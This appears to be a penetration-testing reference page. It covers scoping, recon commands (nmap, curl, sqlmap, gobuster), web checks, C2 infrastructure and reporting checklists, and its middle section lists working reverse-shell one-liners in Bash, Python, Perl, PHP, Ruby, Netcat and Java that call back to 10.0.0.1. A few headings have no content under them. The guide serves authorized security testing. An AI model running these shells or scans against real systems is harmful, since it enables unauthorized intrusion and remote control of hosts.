Pentesting

During planning

Use the workflow, standards, and checklist sections to structure the engagement and define what evidence you need to collect.

During testing

Use the web app and operator sections as quick-reference material for reconnaissance, validation, and post-access decision making.

During reporting

Use the reporting section to convert raw findings into business-relevant, reproducible, remediation-ready writeups.

Web practice targets

• OWASP Juice Shop
• DVWA
• WebGoat
• PortSwigger Web Security Academy labs
• crAPI

Operator practice targets

• Windows and Linux VMs with realistic misconfigurations
• Small Active Directory lab with delegated groups and service accounts
• Reverse proxy and web app stack for auth, API, and JWT testing
• Cloud sandbox with non-production IAM and storage paths

Common discovery patterns

nmap -sn 10.10.10.0/24
nmap -p- -T4 target
nmap -sV target
nmap -A target

Use the least noisy approach the engagement allows. Start broad, then focus. nmap -A is comparatively noisy and is not always appropriate as an early first step.

Important ports to recognize quickly

Headers to review

• Server
• Set-Cookie
• Content-Security-Policy
• Strict-Transport-Security
• X-Frame-Options
• Referrer-Policy

What to infer

• Framework and hosting clues
• Cookie posture and session style
• CSP maturity
• CDN or WAF behavior
• Where auth and proxy boundaries probably live

Common curl patterns

curl -i https://target.example.com
curl -I https://target.example.com
curl -L https://target.example.com
curl -H "X-Test: 1" https://target.example.com
curl -b "session=VALUE" https://target.example.com/account

Method and payload testing

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"name":"test"}' \
  https://target.example.com/api/items

curl -X OPTIONS -i https://target.example.com/api/items
curl -X PUT -i https://target.example.com/api/items/1

Database-specific timing examples

Safer automation follow-up

sqlmap -u "https://target/item?id=1" --batch --risk=2 --level=2
sqlmap -r request.txt --batch
sqlmap -u "https://target/item?id=1" --dbs

CSRF

• Review anti-CSRF token generation and validation.
• Check Origin and Referer handling for state-changing requests.
• Interpret SameSite cookie behavior in the context of the app's flows.

CORS

curl -I -H "Origin: https://evil.example" https://target.example.com/api

Look for origin reflection, unsafe wildcarding, and risky credential behavior. Remember that CORS risk depends on the full header combination; Access-Control-Allow-Origin: * alone does not create credentialed cross-origin access.

CSP

• Review inline script allowances.
• Check script-src, object-src, and frame-ancestors.
• Look for trusted third-party domains that weaken intent.

Rate limiting

• Test login, reset, OTP, invite, and search routes.
• Determine whether limits are account-based, IP-based, route-based, or absent.

Manual checks

• robots.txt
• Source code and comments
• HTTP headers
• Error pages and stack clues
• Anonymous versus authenticated differences

Automated support

nikto -h http://target
gobuster dir -u http://target -w wordlist.txt

Use scanners to support manual testing, not replace it.

Bash

Reliable on most modern Linux systems (Tested on Ubuntu).

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

Standard one-liner for Python 2.7+ environments.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

Feature-free short version.

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

Assumes TCP connection uses file descriptor 3.

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat (Traditional)

Requires netcat versions compiled with -e support.

nc -e /bin/sh 10.0.0.1 1234

Netcat (OpenBSD / FIFO)

Used when -e is unavailable.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Identity & AD

BloodHound: Visualizes AD privilege paths using graph theory to find takeover routes.

NetExec (NXC): The industry-standard successor to CrackMapExec for large-scale enumeration.

C2 & Shells

Sliver: A robust, cross-platform open-source C2 framework for modern operations.

Responder: Captures NTLM hashes via LLMNR/NBT-NS and MDNS poisoning.

Analysis & Scanners

Nuclei: High-speed, template-based scanning for CVEs and misconfigurations.

Wireshark: Crucial for deep packet inspection and analyzing custom protocol traffic.

Typical components

• VPS or cloud instances
• Redirectors and reverse proxies
• C2 server
• Payload or file hosting where explicitly approved
• Encrypted channels and controlled logging

Design principles

• Separate externally exposed redirectors from management systems.
• Use least privilege and short-lived infrastructure where possible.
• Document domains, IPs, TLS posture, and teardown plans.
• Rotate and clean up infrastructure after the engagement.

Core components

Helpful extensions

Extension names and availability can change over time, so treat these as representative examples.

Pre-engagement

• Written authorization received
• Scope, contacts, windows, and stop conditions documented
• Test accounts validated
• Evidence handling and reporting expectations agreed

Web app testing

• Anonymous and authenticated baselines recorded
• Auth, session, and role boundaries mapped
• APIs and object identifiers enumerated
• High-value functions validated for authz and business logic

Post-access

• Privilege boundaries documented
• Safe proof of impact captured
• Noise and business safety reviewed before moving laterally
• Persistence paths documented, not overused

Reporting

• Every finding tied to an affected asset and role
• Evidence sanitized
• Remediation written for engineers and leadership
• Risk reflects real business impact